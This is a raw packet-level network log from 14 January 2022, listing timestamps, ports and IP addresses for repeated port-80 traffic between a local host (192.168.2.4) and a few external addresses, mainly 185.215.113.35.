Jan 14, 2022 09:26:03.225176096 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.225277901 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.225313902 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.225332022 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.225419044 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.225450993 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.225474119 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.225606918 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.225625038 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.225725889 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.225766897 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.225878954 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.225883007 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.225888014 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.226068020 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.226083994 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.226246119 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.226264000 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.226429939 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.226445913 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.226613045 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.226630926 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.228130102 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.245853901 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.245886087 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.246041059 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.246057034 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.246234894 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.246253014 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.246355057 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.246501923 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.246517897 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.246686935 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.246702909 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.246867895 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.246886015 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.247047901 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.247064114 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.247227907 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.247246027 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.247395039 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.247411013 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.247562885 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.247581959 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.247736931 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.247752905 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.247909069 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.247926950 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.248078108 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.248094082 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.248245955 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.248265028 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.248409986 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.248425007 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.248574018 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.248591900 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.248739958 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.248755932 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.248910904 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.248929024 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.249077082 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.249093056 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.249245882 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.249264956 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.249413967 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.249430895 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.249587059 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.249605894 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.249752998 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.249768019 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.249937057 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.249950886 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.250123024 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.250138998 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.250297070 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.250314951 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.250471115 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.250489950 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.250652075 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.250669003 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.250732899 CET	80	49878	141.8.194.74	192.168.2.4
Jan 14, 2022 09:26:03.250780106 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.250940084 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.250958920 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.251015902 CET	49878	80	192.168.2.4	141.8.194.74
Jan 14, 2022 09:26:03.251056910 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.251096010 CET	49878	80	192.168.2.4	141.8.194.74
Jan 14, 2022 09:26:03.251183033 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.251243114 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.251435995 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.265357018 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.273636103 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.273881912 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.273897886 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.274147987 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.274163961 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.274410009 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.274429083 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.274629116 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.274641991 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.274862051 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.274879932 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.275108099 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.275124073 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.275348902 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.275367022 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.275592089 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.275608063 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.275769949 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.275785923 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.275954962 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.275969982 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.276132107 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.276149988 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.276315928 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.276331902 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.276509047 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.276525974 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.276680946 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.276699066 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.276844025 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.277057886 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.278002024 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.278234005 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.279064894 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.279241085 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.279917955 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.280061007 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.280798912 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.280914068 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.281032085 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.281183004 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.281234026 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.281353951 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.281724930 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.281976938 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.282227993 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.282814026 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.282830000 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.283128977 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.283293962 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.283308983 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.283459902 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.283477068 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.283641100 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.283655882 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.283807039 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.283817053 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.283977985 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.283984900 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.284142971 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.284154892 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.284313917 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.284332037 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.284478903 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.284495115 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.284651041 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.284667969 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.284813881 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.284830093 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.284986973 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.285003901 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.285152912 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.285171986 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.285319090 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.285336018 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.285511971 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.285532951 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.285655022 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.285675049 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.285824060 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.285845995 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.285990953 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.286072969 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.286087990 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.286254883 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.286272049 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.286418915 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.286437035 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.286606073 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.286623955 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.286782026 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.286797047 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.286966085 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.286973953 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.287139893 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.287156105 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.287322044 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.287337065 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.287795067 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.287811995 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.287982941 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.288000107 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.288088083 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.288234949 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.293791056 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.293823957 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.293868065 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.293929100 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.293961048 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.294065952 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.303687096 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.303842068 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.303920984 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.304730892 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.304902077 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.305118084 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.305294037 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.305310011 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.305496931 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.305512905 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.305649042 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.305773973 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.305790901 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.305989981 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.306008101 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.306165934 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.306180954 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.306341887 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.306356907 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.306452990 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.306622982 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.306639910 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.306809902 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.306826115 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.306981087 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.306996107 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.307168961 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.307185888 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.307342052 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.307358027 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.307527065 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.307543039 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.307699919 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.307714939 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.307883024 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.307902098 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.308058023 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.308073997 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.308243036 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.308259010 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.308415890 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.308432102 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.308597088 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.308614016 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.308769941 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.308789015 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.308974028 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.308990002 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.309146881 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.309161901 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.309331894 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.309349060 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.309505939 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.309523106 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.309689045 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.309705973 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.309861898 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.309874058 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.310050011 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.310067892 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.310220957 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.310236931 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.310403109 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.310416937 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.310578108 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.310592890 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.310760021 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.310776949 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.310937881 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.310952902 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.311125040 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.311142921 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.311300993 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.311317921 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.311476946 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.311495066 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.311693907 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.311712980 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.311836004 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.311856031 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.312021017 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.312037945 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.312208891 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.312226057 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.312380075 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.312397957 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.312557936 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.312712908 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.312978029 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.312994957 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.313159943 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.313174963 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.313316107 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.313396931 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.313517094 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.313683033 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.313862085 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.313879013 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.314078093 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.314095974 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.314223051 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.314264059 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.314371109 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.314682961 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.314697981 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.317707062 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.323287964 CET	80	49878	141.8.194.74	192.168.2.4
Jan 14, 2022 09:26:03.326484919 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.326517105 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.329832077 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.334902048 CET	49910	80	192.168.2.4	185.163.204.22
Jan 14, 2022 09:26:03.345146894 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.345326900 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.345563889 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.345578909 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.345717907 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.345927000 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.345943928 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.346103907 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.346123934 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.347553968 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.347733021 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.347930908 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.347939014 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.348110914 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.348118067 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.348297119 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.348305941 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.348474026 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.348483086 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.348655939 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.348664045 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.348834991 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.348854065 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.349020958 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.349037886 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.349198103 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.349215984 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.349384069 CET	49891	80	192.168.2.4	185.215.113.35
